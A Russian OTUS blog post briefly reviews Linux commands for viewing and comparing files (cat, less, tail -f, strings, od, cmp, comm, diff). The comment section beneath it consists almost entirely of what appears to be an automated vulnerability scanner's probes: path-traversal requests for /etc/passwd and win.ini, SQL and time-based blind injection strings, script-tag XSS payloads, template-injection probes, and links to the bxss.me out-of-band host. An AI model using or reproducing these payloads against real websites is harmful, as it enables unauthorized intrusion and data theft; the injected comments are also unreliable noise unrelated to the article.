Команды для работы с файлами в Linux | OTUS

Команды для работы с файлами в Linux

LinusSpec_Welcome_970x90_копия-20219-8cb8df.jpg

Вы наверняка уже знаете основные команды для работы с файлами в терминале Linux. Давайте освежим память.

1-1801-7cc98c.png

Работая с файлами разных типов и объемов используют:

1. cat — известная команда для относительно коротких файлов. Позволяет просматривать содержимое файла, создавать один либо несколько файлов, объединять файлы и пр. Пример использования:

cat states.txt

2. less — для считывания текста, но не полностью, а небольшими фрагментами, пример:

less/etc/ntp.conf

3. more — используется для длинных файлов. 4. tail -f — для просмотра растущего файла непосредственно в окне интерактивного запуска кода.

Работа с двоичными файлами

Что делать, когда речь идет о двоичных файлах? Честно говоря, вариантов не очень много:

  • strings — для вывода готовых к печати строк файла;
  • od — для печати файла в восьмеричном формате;
  • cmp — для побайтного сравнения файлов.

Сравнение

Если же надо сравнить текстовые файлы непосредственно друг с другом, вводим:

  • comm — для линейного сравнения двух отсортированных файлов;
  • diff — для построчного выявления различий. Данная команда применяется чаще, так как отличается богатым набором опций.

Free_Courses_at_Linux_Academy___November_2019_1-1801-05daad.jpg

Источник -- https://github.com/ketancmaheshwari/lisa19/blob/master/LPT_LISA.pdf.

Не пропустите новые полезные статьи!

Спасибо за подписку!

Мы отправили вам письмо для подтверждения вашего email.
С уважением, OTUS!

Автор
165 комментариев
0

1

0

1

0

1

0

1

0

1

0

1

0

1

0

1

0

e

0

oJaPJdQU

0

../../../../../../../../../../../../../../etc/passwd

0

../../../../../../../../../../../../../../windows/win.ini

0

1

0

../1

0

12345'"\'\");|]*{ <>�''💡

0

1

0

1

0

1

0

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

0

1some_inexistent_file_with_long_name.jpg

0

)

0

Http://bxss.me/t/fit.txt

0

http://bxss.me/t/fit.txt?.jpg

0

!(()&&!|||

0

bxss.me

0

^(#$!@#$)(()))**

0

1

0

-1 OR 2+892-892-1=0+0+0+1 --

0

-1 OR 3+892-892-1=0+0+0+1 --

0

-1 OR 2+226-226-1=0+0+0+1

0

-1 OR 3+226-226-1=0+0+0+1

0

-1' OR 2+425-425-1=0+0+0+1 --

0

-1' OR 3+425-425-1=0+0+0+1 --

0

-1' OR 2+765-765-1=0+0+0+1 or '75aIZTtL'='

0

-1' OR 3+765-765-1=0+0+0+1 or '75aIZTtL'='

0

-1" OR 2+706-706-1=0+0+0+1 --

0

-1" OR 3+706-706-1=0+0+0+1 --

0

1'"()&%<acx><ScRiPt >YLkM(9101)</ScRiPt>

0

'"()&%<acx><ScRiPt >YLkM(9497)</ScRiPt>

0

19961873

0
<%={{={@{#{${acx}}%>
0

1

0

acx{{98991*97996}}xca

0

acx{{98991*97996}}xca

0

acx{98991*97996}xca

0

acx${98991*97996}xca

0

acx#{98991*97996}xca

0

acx{#98991*97996}xca

0

if(now()=sysdate(),sleep(15),0)

0

acx{@98991*97996}xca

0

acx{{=98991*97996}}xca

0

acx@(98991*97996)xca

0

acx<%=98991*97996%>xca

0

acx#set($x=98991*97996)${x}xca

0

acx{{"abc"|title}}xca

0

print("acx" . 98991*97996 . "xca");

0

989919799698991*97996

0

acx{@math key=98991 method="multiply" operand=97996/}xca

0

acx{{{this}}}xca

0

{989919799698991*97996}

0

acx#{xca}=123

0

acx{{'abcd'.toUpperCase()}}xca

0

AAABBBCCC{{define "bla"}}bla{{end}}{{define "acx"}}xyz{{end}}{{template "acx"}}CCCBBBAAA

0

acx{{98991*97996}}xca

0

acx[[${98991*97996}]]xca

0

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0

acx__${98991*97996}__::.x

0

"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")

0
<%={{={@{#{${acx}}%>
0

<th:t="${acx}#foreach

0

1}}"}}'}}1%>"%>'%>%={{={@{#{${acx}}%

0

1

0

"}}acx{{98991*97996}}xca

0

"%}acx{{98991*97996}}xca

0

"}acx{98991*97996}xca

0

"}acx${98991*97996}xca

0

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

0

"}acx#{98991*97996}xca

0

"}acx{#98991*97996}xca

0

"}acx{@98991*97996}xca

0

"}}acx{{=98991*97996}}xca

0

")acx@(98991*97996)xca

0

"%>acx<%=98991*97996%>xca

0

"}acx#set($x=98991*97996)${x}xca

0

"}acx{{"abc"|title}}xca

0

"print("acx" . 98991*97996 . "xca");

0

"989919799698991*97996

0

"}acx{@math key=98991 method="multiply" operand=97996/}xca

0

"}}}acx{{{this}}}xca

0

"}#{989919799698991*97996}

0

"}acx#{xca}=123

0

"}}acx{{'abcd'.toUpperCase()}}xca

0

"}}AAABBBCCC{{define "bla"}}bla{{end}}{{define "acx"}}xyz{{end}}{{template "acx"}}CCCBBBAAA

0

"}}acx{{98991*97996}}xca

0

"}acx[[${98991*97996}]]xca

0

"acx__${98991*97996}__::.x

0

"}"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")

0

'}}acx{{98991*97996}}xca

0

'%}acx{{98991*97996}}xca

0

(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/

0

'}acx{98991*97996}xca

0

'}acx${98991*97996}xca

Комментарий удален
Комментарий удален
Комментарий удален
Комментарий удален
Комментарий удален
Комментарий удален
Комментарий удален
Комментарий удален
Комментарий удален
Комментарий удален
Комментарий удален
Комментарий удален
Комментарий удален
Комментарий удален
Комментарий удален
Комментарий удален
Комментарий удален
Комментарий удален
Комментарий удален
Комментарий удален
Комментарий удален
Комментарий удален
Комментарий удален
Комментарий удален
Комментарий удален
Комментарий удален
Комментарий удален
Комментарий удален
Комментарий удален
Комментарий удален
Комментарий удален
Комментарий удален
Комментарий удален
Комментарий удален
Комментарий удален
Комментарий удален
Комментарий удален
Комментарий удален
Комментарий удален
Комментарий удален
Комментарий удален
Комментарий удален
Комментарий удален
Комментарий удален
Комментарий удален
Комментарий удален
Комментарий удален
Комментарий удален
Комментарий удален
Комментарий удален
Комментарий удален
Комментарий удален
Комментарий удален
Комментарий удален
Комментарий удален
Комментарий удален
Комментарий удален
Комментарий удален
Комментарий удален
Комментарий удален
Комментарий удален
Комментарий удален
Комментарий удален
Для комментирования необходимо авторизоваться
Популярное
Сегодня тут пусто